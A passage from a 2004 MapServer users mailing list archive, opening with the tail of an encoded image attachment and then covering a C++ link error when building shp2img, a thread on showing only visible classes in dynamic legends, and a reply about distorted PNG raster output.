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
gwWO7Ok8p+SnC1zfvW4ADsANGTghnspzyZlIjE9g0mIADsANGbhZ9cxXfV/eAByAGzJwdZs07t19
IQNwAO6hAHcVBuAA3EMCzunuvjj7GYADcA8JuIsbgANwDwO46+j3BnAA7oEAdyUG4AAcgDNoAA7A
ATiDBuAAHIAzaAAOwAE4gwbgAByAM2gADsABOIMG4AAcgDNoAA7AATiDBuAAHIAzaAAOwAE4gwbg
AByAM2gADsABOIMG4AAcgDNoAA7AATiDBuAAHIAzaAAOwAE4gwbgAByAM2gADsABOIMG4AAcgDNo
AA7AATiDBuAAHIAzaAAOwAE4gwbgAByAM2gADsABOIMG4AAcgDNoAA7AATiDBuAAHIAzaAAOwAE4
gwbgAByAM2gADsABOIMG4AAcgDNoAA7AATiDBuAAHIAzaAAOwAE4gwbgAByAM2gADsABOIMG4AAc
gDNoAA7AATiDBuAAHIAzaAAOwAE4gwbgAByAM2gADsABOIMG4AAcgDNoAA7AATiDBuAAHIAzaAAO
wAE4gwbgAByAM2gADsDlwN3sBO4GwJ1sAA7AATiDBuAAHFJKgwbgAByAM2gADsABOIMG4ACcAu5m
Wx3uhoC74dcbAu6Gfx8N3A2AO9QAHIBj4G4owt1siXA3N0v+WQg4eh7dlMDd0Oc3zxCDAG4/A3AA
bh/gOMLdsAG40wzAAThdh7vZVoe74QiXqAhHgI3qKSXBRiklgNvTAByAQ6OJQQNwAA7AGTQAB+DO
BNz/Bx0RdTeEFrFyAAAAAElFTkSuQmCC

------_=_NextPart_001_01C3E6B7.F9627B52--


From teoman872 at yahoo.com  Thu Jan 29 15:16:05 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Thu, 29 Jan 2004 15:16:05 -0800 (PST)
Subject: [Mapserver-users] Mapserver build Error!!!
Message-ID: <20040129231605.57681.qmail@web20729.mail.yahoo.com>

--0-88019201-1075418165=:56485
Content-Type: text/plain; charset=us-ascii

Hi  everbody,
 
I am trying to build the mapserver latest version, but I am getting following error:
 
$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR  -DUSE_WFS_SVR    -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
USE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/includ
e     -I/usr/src/projects/mapservCA/regex-0.12  -I/usr/local/include -I/usr/loca
l/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg -lfreetype -L/l
ib -lpng -L/lib -lz    -ltiff -ljpeg -lfreetype -L/lib -lpng -L/lib -lz   -L/usr
/local/lib -lproj -ljpeg  -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lgdal.1.
1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
ew(unsigned)'
./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
new(unsigned)'
./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
delete(void*)'
./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
delete(void*)'
Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
 
can anybody help please?
thanks alot in advance..
--teoman


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-88019201-1075418165=:56485
Content-Type: text/html; charset=us-ascii


Hi  everbody,


 


I am trying to build the mapserver latest version, but I am getting following error:


 


$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR  -DUSE_WFS_SVR    -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
USE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/includ
e     -I/usr/src/projects/mapservCA/regex-0.12  -I/usr/local/include -I/usr/loca
l/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg -lfreetype -L/l
ib -lpng -L/lib -lz    -ltiff -ljpeg -lfreetype -L/lib -lpng -L/lib -lz   -L/usr
/local/lib -lproj -ljpeg  -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lgdal.1.
1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to
 `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
ew(unsigned)'
./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
new(unsigned)'
./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
delete(void*)'
./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
delete(void*)'
Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol
 (auto-import)
Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1


 


can anybody help please?


thanks alot in advance..


--teoman

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-88019201-1075418165=:56485--


From mdoggett at coas.oregonstate.edu  Thu Jan 29 16:07:50 2004
From: mdoggett at coas.oregonstate.edu (Matt Doggett)
Date: Thu, 29 Jan 2004 16:07:50 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B270@mercator.topozone.com>
Message-ID: <002f01c3e6c5$19eec4d0$2441c180@oce.orst.edu>

It seems like you could just do some kind of spatial query on your
"roads" (or land-use) layer based on the map extents. From the query
determine which classes are present, then modify the class layers
(dynamically w/ Perl/PHP mapscript of course) based on this information
before rendering the legend.

MD

>-----Original Message-----
>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
>admin at lists.gis.umn.edu] On Behalf Of Ed McNierney
>Sent: Thursday, January 29, 2004 2:16 PM
>To: Martin, Daniel A; Jean-Henry Berevoescu
>Cc: mapserver-users at lists.gis.umn.edu
>Subject: RE: [Mapserver-users] Q: Dynamic Legends
>
>Daniel -
>
>I don't think that's quite the scenario being described.  I have a
>similar problem that is not soluble AFAIK with current MapServer
>technology.
>
>I have a Land Use map that covers the state with polygons, each of
which
>is assigned one of 37 land use codes.  Any given map is unlikely to
>display more than 3 or 4 different codes, but they all have a legend
>with 37 entries in it, making the 3 that are actually ON the map hard
to
>find.
>
>It's not a matter of selecting features by spatial scale, but by
>selecting legend symbology based on data that is actually in the
current
>view frame.
>
>	- Ed
>
>Ed McNierney
>President and Chief Mapmaker
>TopoZone.com / Maps a la carte, Inc.
>73 Princeton Street, Suite 305
>North Chelmsford, MA  01863
>ed at topozone.com
>(978) 251-4242
>
>-----Original Message-----
>From: Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
>Sent: Thursday, January 29, 2004 4:03 PM
>To: Jean-Henry Berevoescu
>Cc: mapserver-users at lists.gis.umn.edu
>Subject: RE: [Mapserver-users] Q: Dynamic Legends
>
>I do exactly the same thing.  The way I do it, I have two layers
>pointing at the same data.  One has only the highway class, and the
>other has all street types.  But, here's the trick.  Name both layers
>the SAME exact name.  Now, have the range set where the minscale of the
>highway layer is the maxscale of the detailed street layer.
>
>As the user zooms in and out, MapServer will naturally transition from
>highways to detailed streets.  However, the legend will show exactly
>what you are asking for.  And, by naming both layers the same name, the
>status (on/off) will carry over as the user zooms.  If the highway
layer
>was on, the street layer will also be on when the user zooms in.
>
>I know it may sound strange, but I promise it works beautifully.
>
>-Dan
>
>> -----Original Message-----
>> From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com]
>> Sent: Thursday, January 29, 2004 2:51 PM
>> To: Martin, Daniel A
>> Cc: mapserver-users at lists.gis.umn.edu
>> Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>
>> No. I have, for example, one of the layers with a number of classes
>> (say, streets, with each type of street having its own class). In a
>> certain area, at a certain scale, one could get, for example, only
>> highways. What I want is to have the legend showing only the
>> symbols/definitions for what is actually in the map at a certain
>> moment.
>>
>> Jean
>>
>>
>> Martin, Daniel A wrote:
>>
>> >Do you mean layers that are on, and within range, but are
>> not visible
>> >because of your current location?  I don't believe that is possible.
>> >However, the default is to hide layers that are not visible
>> or have a
>> >status of OFF.  However, if you have layers that have a status of
>> >DEFAULT, then those are going to show no matter what.
>> >
>> >Am I misunderstanding you?
>> >
>> >-Dan
>> >
>> >
>> >
>> >>-----Original Message-----
>> >>From: mapserver-users-admin at lists.gis.umn.edu
>> >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of
>> >>Jean-Henry Berevoescu
>> >>Sent: Thursday, January 29, 2004 1:16 PM
>> >>To: mdoggett at coas.oregonstate.edu
>> >>Cc: mapserver-users at lists.gis.umn.edu
>> >>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>> >>
>> >>
>> >>
>> >>I tried that one and all the possible combinations (and their sum).
>> >>Nothing works.
>> >>
>> >>Thanks,
>> >>Jean
>> >>
>> >>
>> >>Matt Doggett wrote:
>> >>
>> >>
>> >>
>> >>>I believe HTML legends will do the trick. In the
>> >>>
>> >>>
>> >>legend_template.html
>> >>
>> >>
>> >>>file you could specify [leg_class_html opt_flag=12] for
>> example. see
>> >>>the HTML legend How-To for more details about the opt_flag
>> bit mask.
>> >>>
>> >>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>> >>>
>> >>>MD
>> >>>
>> >>>
>> >>>
>> >>>
>> >>>
>> >>>>-----Original Message-----
>> >>>>From: mapserver-users-admin at lists.gis.umn.edu
>> >>>>
>> >>>>
>> >[mailto:mapserver-users-
>> >
>> >
>> >>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>> >>>Sent: Wednesday, January 28, 2004 8:12 PM
>> >>>To: mapserver-users at lists.gis.umn.edu
>> >>>Subject: [Mapserver-users] Q: Dynamic Legends
>> >>>
>> >>>
>> >>>Hi,
>> >>>Is there a way to have the legend dynamically show only
>> the classes
>> >>>of
>> >>>
>> >>>
>> >>>
>> >>>
>> >>a
>> >>
>> >>
>> >>
>> >>
>> >>>layer actually
>> >>>shown in a map (not the whole defined set in the mapfile)?
>> >>>
>> >>>Jean
>> >>>
>> >>>_______________________________________________
>> >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>> >>>
>> >>>
>> >>>
>> >>>
>> >>
>> >>
>> >>
>> >>
>> >
>> >_______________________________________________
>> >Mapserver-users mailing list
>> >Mapserver-users at lists.gis.umn.edu
>> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>> >
>> >
>> >
>>
>>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From nacional at cbs.umn.edu  Thu Jan 29 16:15:35 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Thu, 29 Jan 2004 18:15:35 -0600 (CST)
Subject: [Mapserver-users] bizarre raster output
In-Reply-To: 
References: 
Message-ID: 

Charlton,

Check http://hypnos.cbs.umn.edu/projects/gdal_segfault.html.  Is this what
it's supposed to look like?  I'm running MapServer 4.0.1 but compiled gdal
from cvs just a couple days ago.  PNG support was compiled using external
libpng version 1.2.5.

You might want to upgrade your libpng.

-Perry N.


On Thu, 29 Jan 2004, Charlton Purvis wrote:

> Hi, folks:
>
> I've got a raster .png, 8800 x 6600, complete w/ a working .wld.  The
> original raster has some color on the left side, and the rest of the
> image is transparent.
>
> I expected to see the Pacific covered by this raster and the rest of the
> Eastern part left alone.  But the attached image is what I get.
> Bizarre.  Is there a max pixel image size?  The entire PNG is a mere
